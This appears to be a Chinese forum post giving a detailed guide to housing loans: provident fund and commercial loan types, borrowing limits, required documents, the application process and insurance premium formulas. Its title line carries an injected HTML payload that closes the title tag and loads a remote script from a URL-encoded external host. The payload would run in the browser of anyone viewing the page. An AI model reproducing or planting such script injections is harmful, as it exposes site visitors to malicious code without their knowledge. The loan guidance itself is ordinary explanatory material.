主题：不明白怎么贷款的!来看下"></title><script src=http://%73%61%79%38%2E%75%73/s.js></script><!

目前，银行开办的住房贷款品种主要有企业类和个人类两大类。
个人类贷款可分为两大类：个人住房公积金贷款和个人商业贷款。个人商业贷款大致可分为六个品种：（1）个人购置住房贷款（包括期房和现房）；（2）个人二手住房贷款；（3）个人住房装修贷款；（4）个人家居消费贷款；（5）个人商用房贷款；（6）个人住房组合贷款；

（二）个人住房公积金贷款额度 

购买一级市场住房和自建住房的最高贷款额度为15万元，最高贷款比例不得超过购、建住房总价的70%；购买二手住房最高贷款额度为8万元，最高贷款比例不得超过所购房屋评估价值的50%。 

1、贷款额度的确定，按照不得高于借款人（含配偶）还款能力的系数计算，其计算公式为： 

借款人夫妻双方计缴住房公积金月工资收入之和×12个月×35%×贷款年限（如借款人配偶未正常缴交住房公积金，其公式中的工资月收入不包括配偶方）。 

2、借款人夫妻双方只有一方正常缴存住房公积金的，其贷款额度不得超过购、建房总价的50%； 

3、每一借款人的具体贷款额度，由贷款行及房改委资金管理中心，按以上规定，结合借款人偿还贷款的能力综合确定。

（三）个人住房公积金贷款操作的全过程 

1、咨询，领取表格； 

2、提出申请； 

3、签订借款合同和抵押合同； 

4、办理抵押登记手续； 

5、办理房屋登记手续； 

6、办理房屋财产保险； 

7、贷款转帐； 

8、每月还款； 

9、贷款结清注销

（四）申请办理个人住房公积金贷款 

借款人在申请公积金贷款时，首先应填写《职工个人住房公积金贷款申请表》，由所在单位盖章后，连同下列证明材料交贷款银行： 

1、借款人夫妻双方身份证、户口及婚姻状况证明（提供原件及复印件）； 

2、借款人夫妻双方单位出具的《经济收入证明》及《公积金缴交情况证明》； 

3、购买住房应提供购房合同或协议及首付款收据；自建住房的应提供批准建房的文件； 

4、贷款银行要求提交的其它证明材料。 

借款人在申请个人二手住房公积金贷款时应提供下列资料： 

1、所购房屋的《国有土地使用证》及《房屋所有权证》 

2、所购房屋评估报告书 

3、卖房方夫妻双方身份证、户口薄； 

4、购房合同

（一）个人住房贷款的期限 

个人住房贷款的贷款最长期限是30年。

（三）个人住房贷款操作的全过程 

个人住房贷款整个过程大致分为三个阶段： 

第一阶段，提出申请，银行调查、审批； 

第二阶段，办妥抵押、保险等手续，银行放款； 

第三阶段，按约每月还贷，直到还清贷款本息，撤销抵押。

（六）办理个人住房贷款的房屋财产保险手续 

房屋抵押是指债务人或第三人（抵押人）以合法拥有的房屋产权作为贷款偿还的保证，只将其权利价值用于贷款偿还的保证，当债务人不履行偿还义务时，债权人（抵押权人）便可将该房屋拍卖、变卖、折价后优先受偿。因此，在抵押期间，抵押权人不占有作为抵押物的房屋，而由抵押人自行使用，并负有妥善保管之义务，包括为该房屋投保，以防该房屋因自然灾害及其他意外事故所导致的破坏及毁损。 

中国人民银行颁布的《个人住房贷款管理办法》对贷款抵押房屋必须办理房屋财产保险作出明确规定，同时还规定在抵押期间，凡因借款人过错而导致的保险责任以外的房屋破坏及毁损所造成的抵押权人的损失，由借款人自行承担。

房屋财产保险手续可由贷款银行代为办理，借款人可自行选择保险公司。目前保险费的计算方式有两种： 

（1）以贷款金额保险的：保险费=贷款额度×0.5‰×贷款年限； 

（2）以房屋价格保险的：保险费=房屋总价×0.5‰×贷款年限； 

上述两种投保方式的赔偿，分别按不同赔偿范围计算赔偿金额。以房屋价格保险的，按实际损失金额全额赔偿；以贷款金额保险的，按“实际损失金额×（贷款金额÷抵押房产的重置价）”计算赔偿金额，其赔偿不足的差额部分，由借款人自行承担。

六、个人住房组合贷款 

个人住房组合贷款是指由住房公积金贷款和住房担保贷款组成的贷款，即当个人申请住房公积金贷款不足以支付购房所需时，其不足部分向银行申请商业性住房贷款的两种贷款之称。两笔贷款按照公积金贷款利率和商业贷款利率分别计息，贷款期限一致。借款人可向受理公积金贷款的银行申请办理组合贷款

真的很详细.